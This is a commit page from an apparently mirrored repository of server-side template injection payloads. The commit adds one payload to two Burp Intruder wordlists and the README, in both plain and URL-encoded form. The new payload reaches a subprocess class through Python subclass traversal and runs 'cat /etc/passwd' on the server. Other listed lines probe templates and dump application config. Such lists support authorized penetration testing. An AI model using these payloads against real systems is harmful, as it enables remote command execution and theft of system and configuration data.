External/ssti-payloads
1
0
Fork 0
mirror of https://github.com/payloadbox/ssti-payloads.git synced 2025-12-17 17:55:44 +00:00
Code Issues Packages Projects Releases Wiki Activity

🚀 Add new payload

Browse Source
This commit is contained in:
Ayham Al-Ali 2023-01-06 22:00:54 +03:00
parent 9593efb980
commit 9c6f8dec44
No known key found for this signature in database
GPG Key ID: 738F59F1C19BF9EC
3 changed files with 3 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
Intruder/ssti-payloads.txt
View File

@ -14,6 +14,7 @@ ${{3*3}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}

1
Intruder/ssti-urlencoded-payloads.txt
View File

@ -13,6 +13,7 @@
%7B%7B%20%5B%5D.class.base.subclasses%28%29%20%7D%7D%0A
%7B%7B%27%27.class.mro%28%29%5B1%5D.subclasses%28%29%7D%7D%0A
%7B%7B%20%27%27.__class__.__mro__%5B2%5D.__subclasses__%28%29%20%7D%7D%0A
%7B%7B%27%27%2E%5F%5Fclass%5F%5F%2E%5F%5Fbase%5F%5F%2E%5F%5Fsubclasses%5F%5F%28%29%5B227%5D%28%27cat%20%2Fetc%2Fpasswd%27%2C%20shell%3DTrue%2C%20stdout%3D%2D1%29%2Ecommunicate%28%29%7D%7D
%7B%25%20for%20key%2C%20value%20in%20config.iteritems%28%29%20%25%7D%3Cdt%3E%7B%7B%20key%7Ce%20%7D%7D%3C/dt%3E%3Cdd%3E%7B%7B%20value%7Ce%20%7D%7D%3C/dd%3E%7B%25%20endfor%20%25%7D%0A
%7B%7B%27a%27.toUpperCase%28%29%7D%7D%20%0A
%7B%7B%20request%20%7D%7D%0A

1
README.md
View File

@ -33,6 +33,7 @@ ${{3*3}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}